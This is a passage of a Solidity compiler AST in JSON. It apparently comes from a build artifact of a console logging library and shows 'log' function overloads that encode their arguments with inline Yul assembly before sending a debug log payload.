":"93087:4:22","nodeType":"YulLiteral","src":"93087:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"93093:2:22","nodeType":"YulIdentifier","src":"93093:2:22"}],"functionName":{"name":"mstore","nativeSrc":"93080:6:22","nodeType":"YulIdentifier","src":"93080:6:22"},"nativeSrc":"93080:16:22","nodeType":"YulFunctionCall","src":"93080:16:22"},"nativeSrc":"93080:16:22","nodeType":"YulExpressionStatement","src":"93080:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":36710,"isOffset":false,"isSlot":false,"src":"92977:2:22","valueSize":1},{"declaration":36713,"isOffset":false,"isSlot":false,"src":"93006:2:22","valueSize":1},{"declaration":36716,"isOffset":false,"isSlot":false,"src":"93035:2:22","valueSize":1},{"declaration":36719,"isOffset":false,"isSlot":false,"src":"93064:2:22","valueSize":1},{"declaration":36722,"isOffset":false,"isSlot":false,"src":"93093:2:22","valueSize":1}],"id":36730,"nodeType":"InlineAssembly","src":"92941:165:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"92329:3:22","parameters":{"id":36707,"nodeType":"ParameterList","parameters":[{"constant":false,"id":36700,"mutability":"mutable","name":"p0","nameLocation":"92341:2:22","nodeType":"VariableDeclaration","scope":36732,"src":"92333:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":36699,"name":"address","nodeType":"ElementaryTypeName","src":"92333:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":36702,"mutability":"mutable","name":"p1","nameLocation":"92353:2:22","nodeType":"VariableDeclaration","scope":36732,"src":"92345:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":36701,"name":"address","nodeType":"ElementaryTypeName","src":"92345:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":36704,"mutability":"mutable","name":"p2","nameLocation":"92365:2:22","nodeType":"VariableDeclaration","scope":36732,"src":"92357:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":36703,"name":"uint256","nodeType":"ElementaryTypeName","src":"92357:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":36706,"mutability":"mutable","name":"p3","nameLocation":"92377:2:22","nodeType":"VariableDeclaration","scope":36732,"src":"92369:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":36705,"name":"uint256","nodeType":"ElementaryTypeName","src":"92369:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"92332:48:22"},"returnParameters":{"id":36708,"nodeType":"ParameterList","parameters":[],"src":"92395:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":36772,"nodeType":"FunctionDefinition","src":"93118:1340:22","nodes":[],"body":{"id":36771,"nodeType":"Block","src":"93193:1265:22","nodes":[],"statements":[{"assignments":[36744],"declarations":[{"constant":false,"id":36744,"mutability":"mutable","name":"m0","nameLocation":"93211:2:22","nodeType":"VariableDeclaration","scope":36771,"src":"93203:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36743,"name":"bytes32","nodeType":"ElementaryTypeName","src":"93203:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":36745,"nodeType":"VariableDeclarationStatement","src":"93203:10:22"},{"assignments":[36747],"declarations":[{"constant":false,"id":36747,"mutability":"mutable","name":"m1","nameLocation":"93231:2:22","nodeType":"VariableDeclaration","scope":36771,"src":"93223:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36746,"name":"bytes32","nodeType":"ElementaryTypeName","src":"93223:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":36748,"nodeType":"VariableDeclarationStatement","src":"93223:10:22"},{"assignments":[36750],"declarations":[{"constant":false,"id":36750,"mutability":"mutable","name":"m2","nameLocation":"93251:2:22","nodeType":"VariableDeclaration","scope":36771,"src":"93243:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36749,"name":"bytes32","nodeType":"ElementaryTypeName","src":"93243:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":36751,"nodeType":"VariableDeclarationStatement","src":"93243:10:22"},{"assignments":[36753],"declarations":[{"constant":false,"id":36753,"mutability":"mutable","name":"m3","nameLocation":"93271:2:22","nodeType":"VariableDeclaration","scope":36771,"src":"93263:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36752,"name":"bytes32","nodeType":"ElementaryTypeName","src":"93263:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":36754,"nodeType":"VariableDeclarationStatement","src":"93263:10:22"},{"assignments":[36756],"declarations":[{"constant":false,"id":36756,"mutability":"mutable","name":"m4","nameLocation":"93291:2:22","nodeType":"VariableDeclaration","scope":36771,"src":"93283:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36755,"name":"bytes32","nodeType":"ElementaryTypeName","src":"93283:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":36757,"nodeType":"VariableDeclarationStatement","src":"93283:10:22"},{"assignments":[36759],"declarations":[{"constant":false,"id":36759,"mutability":"mutable","name":"m5","nameLocation":"93311:2:22","nodeType":"VariableDeclaration","scope":36771,"src":"93303:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36758,"name":"bytes32","nodeType":"ElementaryTypeName","src":"93303:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":36760,"nodeType":"VariableDeclarationStatement","src":"93303:10:22"},{"assignments":[36762],"declarations":[{"constant":false,"id":36762,"mutability":"mutable","name":"m6","nameLocation":"93331:2:22","nodeType":"VariableDeclaration","scope":36771,"src":"93323:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36761,"name":"bytes32","nodeType":"ElementaryTypeName","src":"93323:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":36763,"nodeType":"VariableDeclarationStatement","src":"93323:10:22"},{"AST":{"nativeSrc":"93352:831:22","nodeType":"YulBlock","src":"93352:831:22","statements":[{"body":{"nativeSrc":"93395:313:22","nodeType":"YulBlock","src":"93395:313:22","statements":[{"nativeSrc":"93413:15:22","nodeType":"YulVariableDeclaration","src":"93413:15:22","value":{"kind":"number","nativeSrc":"93427:1:22","nodeType":"YulLiteral","src":"93427:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"93417:6:22","nodeType":"YulTypedName","src":"93417:6:22","type":""}]},{"body":{"nativeSrc":"93498:40:22","nodeType":"YulBlock","src":"93498:40:22","statements":[{"body":{"nativeSrc":"93527:9:22","nodeType":"YulBlock","src":"93527:9:22","statements":[{"nativeSrc":"93529:5:22","nodeType":"YulBreak","src":"93529:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"93515:6:22","nodeType":"YulIdentifier","src":"93515:6:22"},{"name":"w","nativeSrc":"93523:1:22","nodeType":"YulIdentifier","src":"93523:1:22"}],"functionName":{"name":"byte","nativeSrc":"93510:4:22","nodeType":"YulIdentifier","src":"93510:4:22"},"nativeSrc":"93510:15:22","nodeType":"YulFunctionCall","src":"93510:15:22"}],"functionName":{"name":"iszero","nativeSrc":"93503:6:22","nodeType":"YulIdentifier","src":"93503:6:22"},"nativeSrc":"93503:23:22","nodeType":"YulFunctionCall","src":"93503:23:22"},"nativeSrc":"93500:36:22","nodeType":"YulIf","src":"93500:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"93455:6:22","nodeType":"YulIdentifier","src":"93455:6:22"},{"kind":"number","nativeSrc":"93463:4:22","nodeType":"YulLiteral","src":"93463:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"93452:2:22","nodeType":"YulIdentifier","src":"93452:2:22"},"nativeSrc":"93452:16:22","nodeType":"YulFunctionCall","src":"93452:16:22"},"nativeSrc":"93445:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"93469:28:22","nodeType":"YulBlock","src":"93469:28:22","statements":[{"nativeSrc":"93471:24:22","nodeType":"YulAssignment","src":"93471:24:22","value":{"arguments":[{"name":"length","nativeSrc":"93485:6:22","nodeType":"YulIdentifier","src":"93485:6:22"},{"kind":"number","nativeSrc":"93493:1:22","nodeType":"YulLiteral","src":"93493:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"93481:3:22","nodeType":"YulIdentifier","src":"93481:3:22"},"nativeSrc":"93481:14:22","nodeType":"YulFunctionCall","src":"93481:14:22"},"variableNames":[{"name":"length","nativeSrc":"93471:6:22","nodeType":"YulIdentifier","src":"93471:6:22"}]}]},"pre":{"nativeSrc":"93449:2:22","nodeType":"YulBlock","src":"93449:2:22","statements":[]},"src":"93445:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"93562:3:22","nodeType":"YulIdentifier","src":"93562:3:22"},{"name":"length","nativeSrc":"93567:6:22","nodeType":"YulIdentifier","src":"93567:6:22"}],"functionName":{"name":"mstore","nativeSrc":"93555:6:22","nodeType":"YulIdentifier","src":"93555:6:22"},"nativeSrc":"93555:19:22","nodeType":"YulFunctionCall","src":"93555:19:22"},"nativeSrc":"93555:19:22","nodeType":"YulExpressionStatement","src":"93555:19:22"},{"nativeSrc":"93591:37:22","nodeType":"YulVariableDeclaration","src":"93591:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"93608:3:22","nodeType":"YulLiteral","src":"93608:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"93617:1:22","nodeType":"YulLiteral","src":"93617:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"93620:6:22","nodeType":"YulIdentifier","src":"93620:6:22"}],"functionName":{"name":"shl","nativeSrc":"93613:3:22","nodeType":"YulIdentifier","src":"93613:3:22"},"nativeSrc":"93613:14:22","nodeType":"YulFunctionCall","src":"93613:14:22"}],"functionName":{"name":"sub","nativeSrc":"93604:3:22","nodeType":"YulIdentifier","src":"93604:3:22"},"nativeSrc":"93604:24:22","nodeType":"YulFunctionCall","src":"93604:24:22"},"variables":[{"name":"shift","nativeSrc":"93595:5:22","nodeType":"YulTypedName","src":"93595:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"93656:3:22","nodeType":"YulIdentifier","src":"93656:3:22"},{"kind":"number","nativeSrc":"93661:4:22","nodeType":"YulLiteral","src":"93661:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"93652:3:22","nodeType":"YulIdentifier","src":"93652:3:22"},"nativeSrc":"93652:14:22","nodeType":"YulFunctionCall","src":"93652:14:22"},{"arguments":[{"name":"shift","nativeSrc":"93672:5:22","nodeType":"YulIdentifier","src":"93672:5:22"},{"arguments":[{"name":"shift","nativeSrc":"93683:5:22","nodeType":"YulIdentifier","src":"93683:5:22"},{"name":"w","nativeSrc":"93690:1:22","nodeType":"YulIdentifier","src":"93690:1:22"}],"functionName":{"name":"shr","nativeSrc":"93679:3:22","nodeType":"YulIdentifier","src":"93679:3:22"},"nativeSrc":"93679:13:22","nodeType":"YulFunctionCall","src":"93679:13:22"}],"functionName":{"name":"shl","nativeSrc":"93668:3:22","nodeType":"YulIdentifier","src":"93668:3:22"},"nativeSrc":"93668:25:22","nodeType":"YulFunctionCall","src":"93668:25:22"}],"functionName":{"name":"mstore","nativeSrc":"93645:6:22","nodeType":"YulIdentifier","src":"93645:6:22"},"nativeSrc":"93645:49:22","nodeType":"YulFunctionCall","src":"93645:49:22"},"nativeSrc":"93645:49:22","nodeType":"YulExpressionStatement","src":"93645:49:22"}]},"name":"writeString","nativeSrc":"93366:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"93387:3:22","nodeType":"YulTypedName","src":"93387:3:22","type":""},{"name":"w","nativeSrc":"93392:1:22","nodeType":"YulTypedName","src":"93392:1:22","type":""}],"src":"93366:342:22"},{"nativeSrc":"93721:17:22","nodeType":"YulAssignment","src":"93721:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"93733:4:22","nodeType":"YulLiteral","src":"93733:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"93727:5:22","nodeType":"YulIdentifier","src":"93727:5:22"},"nativeSrc":"93727:11:22","nodeType":"YulFunctionCall","src":"93727:11:22"},"variableNames":[{"name":"m0","nativeSrc":"93721:2:22","nodeType":"YulIdentifier","src":"93721:2:22"}]},{"nativeSrc":"93751:17:22","nodeType":"YulAssignment","src":"93751:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"93763:4:22","nodeType":"YulLiteral","src":"93763:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"93757:5:22","nodeType":"YulIdentifier","src":"93757:5:22"},"nativeSrc":"93757:11:22","nodeType":"YulFunctionCall","src":"93757:11:22"},"variableNames":[{"name":"m1","nativeSrc":"93751:2:22","nodeType":"YulIdentifier","src":"93751:2:22"}]},{"nativeSrc":"93781:17:22","nodeType":"YulAssignment","src":"93781:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"93793:4:22","nodeType":"YulLiteral","src":"93793:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"93787:5:22","nodeType":"YulIdentifier","src":"93787:5:22"},"nativeSrc":"93787:11:22","nodeType":"YulFunctionCall","src":"93787:11:22"},"variableNames":[{"name":"m2","nativeSrc":"93781:2:22","nodeType":"YulIdentifier","src":"93781:2:22"}]},{"nativeSrc":"93811:17:22","nodeType":"YulAssignment","src":"93811:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"93823:4:22","nodeType":"YulLiteral","src":"93823:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"93817:5:22","nodeType":"YulIdentifier","src":"93817:5:22"},"nativeSrc":"93817:11:22","nodeType":"YulFunctionCall","src":"93817:11:22"},"variableNames":[{"name":"m3","nativeSrc":"93811:2:22","nodeType":"YulIdentifier","src":"93811:2:22"}]},{"nativeSrc":"93841:17:22","nodeType":"YulAssignment","src":"93841:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"93853:4:22","nodeType":"YulLiteral","src":"93853:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"93847:5:22","nodeType":"YulIdentifier","src":"93847:5:22"},"nativeSrc":"93847:11:22","nodeType":"YulFunctionCall","src":"93847:11:22"},"variableNames":[{"name":"m4","nativeSrc":"93841:2:22","nodeType":"YulIdentifier","src":"93841:2:22"}]},{"nativeSrc":"93871:17:22","nodeType":"YulAssignment","src":"93871:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"93883:4:22","nodeType":"YulLiteral","src":"93883:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"93877:5:22","nodeType":"YulIdentifier","src":"93877:5:22"},"nativeSrc":"93877:11:22","nodeType":"YulFunctionCall","src":"93877:11:22"},"variableNames":[{"name":"m5","nativeSrc":"93871:2:22","nodeType":"YulIdentifier","src":"93871:2:22"}]},{"nativeSrc":"93901:17:22","nodeType":"YulAssignment","src":"93901:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"93913:4:22","nodeType":"YulLiteral","src":"93913:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"93907:5:22","nodeType":"YulIdentifier","src":"93907:5:22"},"nativeSrc":"93907:11:22","nodeType":"YulFunctionCall","src":"93907:11:22"},"variableNames":[{"name":"m6","nativeSrc":"93901:2:22","nodeType":"YulIdentifier","src":"93901:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"94004:4:22","nodeType":"YulLiteral","src":"94004:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"94010:10:22","nodeType":"YulLiteral","src":"94010:10:22","type":"","value":"0xfdb4f990"}],"functionName":{"name":"mstore","nativeSrc":"93997:6:22","nodeType":"YulIdentifier","src":"93997:6:22"},"nativeSrc":"93997:24:22","nodeType":"YulFunctionCall","src":"93997:24:22"},"nativeSrc":"93997:24:22","nodeType":"YulExpressionStatement","src":"93997:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"94041:4:22","nodeType":"YulLiteral","src":"94041:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"94047:2:22","nodeType":"YulIdentifier","src":"94047:2:22"}],"functionName":{"name":"mstore","nativeSrc":"94034:6:22","nodeType":"YulIdentifier","src":"94034:6:22"},"nativeSrc":"94034:16:22","nodeType":"YulFunctionCall","src":"94034:16:22"},"nativeSrc":"94034:16:22","nodeType":"YulExpressionStatement","src":"94034:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"94070:4:22","nodeType":"YulLiteral","src":"94070:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"94076:2:22","nodeType":"YulIdentifier","src":"94076:2:22"}],"functionName":{"name":"mstore","nativeSrc":"94063:6:22","nodeType":"YulIdentifier","src":"94063:6:22"},"nativeSrc":"94063:16:22","nodeType":"YulFunctionCall","src":"94063:16:22"},"nativeSrc":"94063:16:22","nodeType":"YulExpressionStatement","src":"94063:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"94099:4:22","nodeType":"YulLiteral","src":"94099:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"94105:2:22","nodeType":"YulIdentifier","src":"94105:2:22"}],"functionName":{"name":"mstore","nativeSrc":"94092:6:22","nodeType":"YulIdentifier","src":"94092:6:22"},"nativeSrc":"94092:16:22","nodeType":"YulFunctionCall","src":"94092:16:22"},"nativeSrc":"94092:16:22","nodeType":"YulExpressionStatement","src":"94092:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"94128:4:22","nodeType":"YulLiteral","src":"94128:4:22","type":"","value":"0x80"},{"kind":"number","nativeSrc":"94134:4:22","nodeType":"YulLiteral","src":"94134:4:22","type":"","value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"94121:6:22","nodeType":"YulIdentifier","src":"94121:6:22"},"nativeSrc":"94121:18:22","nodeType":"YulFunctionCall","src":"94121:18:22"},"nativeSrc":"94121:18:22","nodeType":"YulExpressionStatement","src":"94121:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"94164:4:22","nodeType":"YulLiteral","src":"94164:4:22","type":"","value":"0xa0"},{"name":"p3","nativeSrc":"94170:2:22","nodeType":"YulIdentifier","src":"94170:2:22"}],"functionName":{"name":"writeString","nativeSrc":"94152:11:22","nodeType":"YulIdentifier","src":"94152:11:22"},"nativeSrc":"94152:21:22","nodeType":"YulFunctionCall","src":"94152:21:22"},"nativeSrc":"94152:21:22","nodeType":"YulExpressionStatement","src":"94152:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":36744,"isOffset":false,"isSlot":false,"src":"93721:2:22","valueSize":1},{"declaration":36747,"isOffset":false,"isSlot":false,"src":"93751:2:22","valueSize":1},{"declaration":36750,"isOffset":false,"isSlot":false,"src":"93781:2:22","valueSize":1},{"declaration":36753,"isOffset":false,"isSlot":false,"src":"93811:2:22","valueSize":1},{"declaration":36756,"isOffset":false,"isSlot":false,"src":"93841:2:22","valueSize":1},{"declaration":36759,"isOffset":false,"isSlot":false,"src":"93871:2:22","valueSize":1},{"declaration":36762,"isOffset":false,"isSlot":false,"src":"93901:2:22","valueSize":1},{"declaration":36734,"isOffset":false,"isSlot":false,"src":"94047:2:22","valueSize":1},{"declaration":36736,"isOffset":false,"isSlot":false,"src":"94076:2:22","valueSize":1},{"declaration":36738,"isOffset":false,"isSlot":false,"src":"94105:2:22","valueSize":1},{"declaration":36740,"isOffset":false,"isSlot":false,"src":"94170:2:22","valueSize":1}],"id":36764,"nodeType":"InlineAssembly","src":"93343:840:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":36766,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"94208:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30786334","id":36767,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"94214:4:22","typeDescriptions":{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"},"value":"0xc4"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"}],"id":36765,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"94192:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":36768,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"94192:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":36769,"nodeType":"ExpressionStatement","src":"94192:27:22"},{"AST":{"nativeSrc":"94238:214:22","nodeType":"YulBlock","src":"94238:214:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"94259:4:22","nodeType":"YulLiteral","src":"94259:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"94265:2:22","nodeType":"YulIdentifier","src":"94265:2:22"}],"functionName":{"name":"mstore","nativeSrc":"94252:6:22","nodeType":"YulIdentifier","src":"94252:6:22"},"nativeSrc":"94252:16:22","nodeType":"YulFunctionCall","src":"94252:16:22"},"nativeSrc":"94252:16:22","nodeType":"YulExpressionStatement","src":"94252:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"94288:4:22","nodeType":"YulLiteral","src":"94288:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"94294:2:22","nodeType":"YulIdentifier","src":"94294:2:22"}],"functionName":{"name":"mstore","nativeSrc":"94281:6:22","nodeType":"YulIdentifier","src":"94281:6:22"},"nativeSrc":"94281:16:22","nodeType":"YulFunctionCall","src":"94281:16:22"},"nativeSrc":"94281:16:22","nodeType":"YulExpressionStatement","src":"94281:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"94317:4:22","nodeType":"YulLiteral","src":"94317:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"94323:2:22","nodeType":"YulIdentifier","src":"94323:2:22"}],"functionName":{"name":"mstore","nativeSrc":"94310:6:22","nodeType":"YulIdentifier","src":"94310:6:22"},"nativeSrc":"94310:16:22","nodeType":"YulFunctionCall","src":"94310:16:22"},"nativeSrc":"94310:16:22","nodeType":"YulExpressionStatement","src":"94310:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"94346:4:22","nodeType":"YulLiteral","src":"94346:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"94352:2:22","nodeType":"YulIdentifier","src":"94352:2:22"}],"functionName":{"name":"mstore","nativeSrc":"94339:6:22","nodeType":"YulIdentifier","src":"94339:6:22"},"nativeSrc":"94339:16:22","nodeType":"YulFunctionCall","src":"94339:16:22"},"nativeSrc":"94339:16:22","nodeType":"YulExpressionStatement","src":"94339:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"94375:4:22","nodeType":"YulLiteral","src":"94375:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"94381:2:22","nodeType":"YulIdentifier","src":"94381:2:22"}],"functionName":{"name":"mstore","nativeSrc":"94368:6:22","nodeType":"YulIdentifier","src":"94368:6:22"},"nativeSrc":"94368:16:22","nodeType":"YulFunctionCall","src":"94368:16:22"},"nativeSrc":"94368:16:22","nodeType":"YulExpressionStatement","src":"94368:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"94404:4:22","nodeType":"YulLiteral","src":"94404:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"94410:2:22","nodeType":"YulIdentifier","src":"94410:2:22"}],"functionName":{"name":"mstore","nativeSrc":"94397:6:22","nodeType":"YulIdentifier","src":"94397:6:22"},"nativeSrc":"94397:16:22","nodeType":"YulFunctionCall","src":"94397:16:22"},"nativeSrc":"94397:16:22","nodeType":"YulExpressionStatement","src":"94397:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"94433:4:22","nodeType":"YulLiteral","src":"94433:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"94439:2:22","nodeType":"YulIdentifier","src":"94439:2:22"}],"functionName":{"name":"mstore","nativeSrc":"94426:6:22","nodeType":"YulIdentifier","src":"94426:6:22"},"nativeSrc":"94426:16:22","nodeType":"YulFunctionCall","src":"94426:16:22"},"nativeSrc":"94426:16:22","nodeType":"YulExpressionStatement","src":"94426:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":36744,"isOffset":false,"isSlot":false,"src":"94265:2:22","valueSize":1},{"declaration":36747,"isOffset":false,"isSlot":false,"src":"94294:2:22","valueSize":1},{"declaration":36750,"isOffset":false,"isSlot":false,"src":"94323:2:22","valueSize":1},{"declaration":36753,"isOffset":false,"isSlot":false,"src":"94352:2:22","valueSize":1},{"declaration":36756,"isOffset":false,"isSlot":false,"src":"94381:2:22","valueSize":1},{"declaration":36759,"isOffset":false,"isSlot":false,"src":"94410:2:22","valueSize":1},{"declaration":36762,"isOffset":false,"isSlot":false,"src":"94439:2:22","valueSize":1}],"id":36770,"nodeType":"InlineAssembly","src":"94229:223:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"93127:3:22","parameters":{"id":36741,"nodeType":"ParameterList","parameters":[{"constant":false,"id":36734,"mutability":"mutable","name":"p0","nameLocation":"93139:2:22","nodeType":"VariableDeclaration","scope":36772,"src":"93131:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":36733,"name":"address","nodeType":"ElementaryTypeName","src":"93131:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":36736,"mutability":"mutable","name":"p1","nameLocation":"93151:2:22","nodeType":"VariableDeclaration","scope":36772,"src":"93143:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":36735,"name":"address","nodeType":"ElementaryTypeName","src":"93143:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":36738,"mutability":"mutable","name":"p2","nameLocation":"93163:2:22","nodeType":"VariableDeclaration","scope":36772,"src":"93155:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":36737,"name":"uint256","nodeType":"ElementaryTypeName","src":"93155:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":36740,"mutability":"mutable","name":"p3","nameLocation":"93175:2:22","nodeType":"VariableDeclaration","scope":36772,"src":"93167:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36739,"name":"bytes32","nodeType":"ElementaryTypeName","src":"93167:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"93130:48:22"},"returnParameters":{"id":36742,"nodeType":"ParameterList","parameters":[],"src":"93193:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":36812,"nodeType":"FunctionDefinition","src":"94464:1340:22","nodes":[],"body":{"id":36811,"nodeType":"Block","src":"94539:1265:22","nodes":[],"statements":[{"assignments":[36784],"declarations":[{"constant":false,"id":36784,"mutability":"mutable","name":"m0","nameLocation":"94557:2:22","nodeType":"VariableDeclaration","scope":36811,"src":"94549:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36783,"name":"bytes32","nodeType":"ElementaryTypeName","src":"94549:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":36785,"nodeType":"VariableDeclarationStatement","src":"94549:10:22"},{"assignments":[36787],"declarations":[{"constant":false,"id":36787,"mutability":"mutable","name":"m1","nameLocation":"94577:2:22","nodeType":"VariableDeclaration","scope":36811,"src":"94569:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36786,"name":"bytes32","nodeType":"ElementaryTypeName","src":"94569:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],